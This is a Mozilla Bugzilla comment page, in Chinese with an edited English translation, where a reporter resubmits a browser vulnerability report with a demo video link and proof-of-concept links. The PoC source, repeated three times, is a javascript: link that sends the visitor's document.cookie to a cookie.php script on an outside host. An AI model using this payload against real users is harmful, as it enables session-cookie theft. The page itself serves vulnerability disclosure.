Bug 1629241 Comment 0 Edit History

Note: The actual edited comment in the bug view page will always show the original commenter’s name and original timestamp.

这个漏洞我提交过一次,在https://bugzilla.mozilla.org/show_bug.cgi?id=1628187上,你们给我的回答是,物理攻击不在危险模型内,但是我现在想到了新的攻击方式,不需要任何物理接触

您可以看下演示视频吗:

https://drive.google.com/open?id=1T0iYzJWkzMNP_RUR1NUoIXeXmu4Z0gjh



poc:
http://www.10000wen.com/xin.html


poc源码:
<a href='javascript:location=%22http%3a%2f%2fwww.10000wen.com%2fcookie.php%3fcookie%3d%27%22%2bdocument.cookie%2b%22%27%22%3b'>11111111111111111111111111111111111</a>
这个漏洞我提交过一次,在https://bugzilla.mozilla.org/show_bug.cgi?id=1628187上,你们给我的回答是,物理攻击不在危险模型内,但是我现在想到了新的攻击方式,不需要任何物理接触

您可以看下演示视频吗:

https://drive.google.com/open?id=1T0iYzJWkzMNP_RUR1NUoIXeXmu4Z0gjh



poc:
http://www.10000wen.com/xin.html


poc源码:
<a href='javascript:location=%22http%3a%2f%2fwww.10000wen.com%2fcookie.php%3fcookie%3d%27%22%2bdocument.cookie%2b%22%27%22%3b'>11111111111111111111111111111111111</a>

[below from Google translate --edited by dveditz

I submitted this vulnerability once. At https://bugzilla.mozilla.org/show_bug.cgi?id=1628187, the answer you gave me was that the physical attack is not in the dangerous model, but I now think of a new attack method Without any physical contact

Can you watch the demo video:

https://drive.google.com/open?id=1T0iYzJWkzMNP_RUR1NUoIXeXmu4Z0gjh

poc:
http://www.10000wen.com/xin.html

poc source code:
<a href='javascript:location=%22http%3a%2f%2fwww.10000wen.com%2fcookie.php%3fcookie%3d%27%22%2bdocument.cookie%2b%22%27%22%3b'> 11111111111111111111111111111111111 </a>

]

Back to Bug 1629241 Comment 0